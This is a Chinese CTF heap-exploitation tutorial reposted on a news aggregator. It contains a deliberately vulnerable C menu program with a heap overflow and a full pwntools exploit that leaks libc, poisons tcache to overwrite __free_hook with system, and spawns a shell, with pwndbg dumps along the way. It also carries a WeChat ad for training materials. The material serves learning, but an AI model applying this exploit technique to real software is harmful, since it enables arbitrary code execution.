最新要闻

广告

手机

iphone11大小尺寸是多少?苹果iPhone11和iPhone13的区别是什么?

iphone11大小尺寸是多少?苹果iPhone11和iPhone13的区别是什么?

警方通报辅警执法直播中被撞飞:犯罪嫌疑人已投案

警方通报辅警执法直播中被撞飞:犯罪嫌疑人已投案

家电

关于“堆”题的总体思路

来源:博客园

浅说一下pwn堆,并用一个简单的例子具体说明,给刚入坑堆的小朋友说的一些思路。


(资料图)

堆是什么

堆,你可以看成一个结构体数组,然后数组里每个元素都会开辟一块内存来存储数据,那么这块用来存储数据的内存就是堆。

结构体数组在BSS段上,其内容就是堆的地址,也就是堆的指针。

堆的理解

堆有很多题型 什么堆溢出,off by null , uaf 等。

核心的话主要是学思想,所有人都知道我要得到shell,cat flag。但是要怎么去干得有个过程,

比如我们做栈题,很容易知道我要劫持栈的返回去执行任意地址,填入shellcode什么的。

堆的话也是一样。

就是用system去执行/bin/sh。越复杂的问题往往只需要很简单的道理。

所以堆到底要怎么去执行。

我们可以把某一个函数的内容改成system,下次调用该函数即是使用system,

再在别的堆里面放入/bin/sh字符串,然后再用刚刚修改的函数,使用已经放入字符串的堆。

即可执行system(/bin/sh)

一般修改__free_hook,使其内容变成system然后再free掉放有/bin/sh的堆

举例说明

我用一个很简单的例子去一步一步简单剖析。

这里我用一个很简单的例子去一步一步简单剖析。

先给出源码和gcc编译,使用的是Ubuntu18

gcc -o lizi lizi.c
#include#includechar *heap[0x20];int num=0;void create(){    if(num>=0x20)    {        puts("no more");        return;    }    int size;    puts("how big");    scanf("%d",&size);    heap[num]=(char *)malloc(size);    num++;}void show(){ int idx; char buf[4]; puts("idx");   (read(0, buf, 4));  idx = atoi(buf); if (!heap[idx]) {  puts("no have things\n");  } else {  printf("Content:");  printf("%s",heap[idx]);  }}void dele(){ int idx; char buf[4]; puts("idx");   (read(0, buf, 4));  idx = atoi(buf); if (!heap[idx]) {  puts("no have things\n");  } else {    free(heap[idx]);    heap[idx]=NULL;    num--;  }}void edit(){ int size; int idx; char buf[4]; puts("idx");   (read(0, buf, 4));  idx = atoi(buf); if (!heap[idx]) {  puts("no have things\n");  } else {    puts("how big u read");    scanf("%d",&size);    puts("Content:");    read(0,heap[idx],size);  }}void menu(void){    puts("1.create");    puts("2.dele");    puts("3.edit");    puts("4.show");}void main(){    int choice;    while(1)    {        menu();        scanf("%d",&choice);        switch(choice)        {            case 1:create();break;            case 2:dele();break;            case 3:edit();break;            case 4:show();break;            default:puts("error");        }    }}

我们也不用ida了,直接源码分析,很明显在edit处能知道我们可以修改堆大小,

而导致的堆溢出修改下一个堆。

【----帮助网安学习,以下所有学习资料免费领!加vx:yj009991,备注 “博客园” 获取!】

① 网安学习成长路径思维导图 ② 60+网安经典常用工具包 ③ 100+SRC漏洞分析报告 ④ 150+网安攻防实战技术电子书 ⑤ 最权威CISSP 认证考试指南+题库 ⑥ 超1800页CTF实战技巧手册 ⑦ 最新网安大厂面试题合集(含答案) ⑧ APP客户端安全检测指南(安卓+IOS)

我们可以直接使用unsortedbin,申请较大的堆,再free掉,再申请个小堆,

使其从unsortedbin里面切割堆,这样,你申请的小堆就会有一些unsortedbin里面的东西。

(具体请看unsortedbin介绍)

结合exp介绍:

from pwn import *r=process("./lizi")libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")context.log_level="debug"def add(size):    r.sendlineafter("4.show\n","1")    r.sendlineafter("idx\n",str(size))​def dele(idx):    r.sendlineafter("4.show\n","2")    r.sendlineafter("idx\n",str(idx))​def edit(idx,size,con):    r.sendlineafter("4.show\n","3")    r.sendlineafter("idx\n",str(idx))    r.sendlineafter("how big u read\n",str(size))    r.sendafter("Content:\n",con)def show(idx):    r.sendlineafter("4.show\n","4")    r.sendlineafter("idx\n",str(idx))​add(0x420)add(0x420)add(0x420)dele(1)​add(0x70)show(2)​r.recvuntil("Content:")base=u64(r.recv(6)+"\x00"*2)-0x3ec090print(hex(base))free=base+libc.sym["__free_hook"]sys=base+libc.sym["system"]​add(0x70)dele(3)​edit(2,0x100,"a"*0x70+p64(0xa0)+p64(0xa1)+p64(free))​​add(0x70)add(0x70)edit(3,0x10,"/bin/sh\x00")edit(4,0x10,p64(sys))dele(3)​r.interactive()

首先菜单不用多说,很简单的交互,写好就行

然后申请3个堆,为了保证能进入unsortedbin,得大于tcache的大小,然后free掉1号堆

unsortedbinall: 0x55ce36aa7aa0 —▸ 0x7f4f9036aca0 (main_arena+96) ◂— 0x55ce36aa7aa0

可以看到1号堆已经进入到unsortedbin了

然后申请一个小堆

pwndbg> x/32gx 0x55697b2cfaa00x55697b2cfaa0: 0x0000000000000000  0x00000000000000810x55697b2cfab0: 0x00007fb8eada6090  0x00007fb8eada60900x55697b2cfac0: 0x000055697b2cfaa0  0x000055697b2cfaa00x55697b2cfad0: 0x0000000000000000  0x00000000000000000x55697b2cfae0: 0x0000000000000000  0x00000000000000000x55697b2cfaf0: 0x0000000000000000  0x00000000000000000x55697b2cfb00: 0x0000000000000000  0x00000000000000000x55697b2cfb10: 0x0000000000000000  0x00000000000000000x55697b2cfb20: 0x0000000000000000  0x00000000000003b10x55697b2cfb30: 0x00007fb8eada5ca0  0x00007fb8eada5ca00x55697b2cfb40: 0x0000000000000000  0x00000000000000000x55697b2cfb50: 0x0000000000000000  0x00000000000000000x55697b2cfb60: 0x0000000000000000  0x00000000000000000x55697b2cfb70: 0x0000000000000000  0x00000000000000000x55697b2cfb80: 0x0000000000000000  0x00000000000000000x55697b2cfb90: 0x0000000000000000  0x0000000000000000

查看申请堆的地址可以发现,11行处是已经之前free掉的1号堆,这个申请的堆会在unsortedbin里面切割

然后会有残留地址,然后我们把他show出来就可以计算一波libc地址了。

算出system,__free_hook的libc,

接着为什么要多申请一个堆,这里就是堆溢出的打法了,

在刚刚申请的堆后面再建一个堆,然后通过free掉修改内容指向__free_hook地址

再把内容改成system就可以把free当做system用了;

edit(2,0x100,"a"*0x70+p64(0xa0)+p64(0xa1)+p64(free))后面打个断点

GDB看看

pwndbg> bintcachebins0x80 [  1]: 0x55f37c653b30 —▸ 0x7f4497d688e8 (__free_hook) ◂— ...fastbins0x20: 0x00x30: 0x00x40: 0x00x50: 0x00x60: 0x00x70: 0x00x80: 0x0unsortedbinall: 0x55f37c653ba0 —▸ 0x7f4497d66ca0 (main_arena+96) ◂— 0x55f37c653ba0smallbinsemptylargebinsempty

会发现tcache里面已经有__free_hook了,因为已经把内容改成__free_hook的地址了。

然后申请2个堆,把tcache里面的__free_hook拿出来。

你也可以验证一下、

pwndbg> vmmapLEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA   0x55f37bb59000   0x55f37bb5a000 r-xp   1000 0 
pwndbg> x/32gx 0x5597ecced000+0x2020400x5597eceef040 :  0x00005597ee8ef680  0x00000000000000000x5597eceef050 :   0x00005597ee8efab0  0x00005597ee8efb300x5597eceef060 :   0x00007f7694f2e8e8  0x00000000000000000x5597eceef070 :   0x0000000000000000  0x0000000000000000

0x202040是heap的偏移,可以从ida里面找到。

申请出来的堆,__free_hook在4号堆

pwndbg> x/32gx 0x00007f7694f2e8e80x7f7694f2e8e8 <__free_hook>:   0x0000000000000000  0x00000000000000000x7f7694f2e8f8 :   0x0000000000000000  0x0000000000000000

成功证明,

然后已知4号堆是__free_hook了,那么将4号堆的内容改成system的地址,不就可以了吗

然后再把3号堆写入/bin/sh

然后free(实际上已经变成system)掉3号堆(实际上已经是/bin/sh)了

成功取得shell

总结

做堆题主要是要有一个总体想法就是要把什么变成system去执行shell,或者也有别的,比如malloc等。

这里只是一个总体思路,毕竟拿到堆题如果一条总想法都没有的话,就只能干坐着了。

更多靶场实验练习、网安学习资料,请点击这里>>

关键词: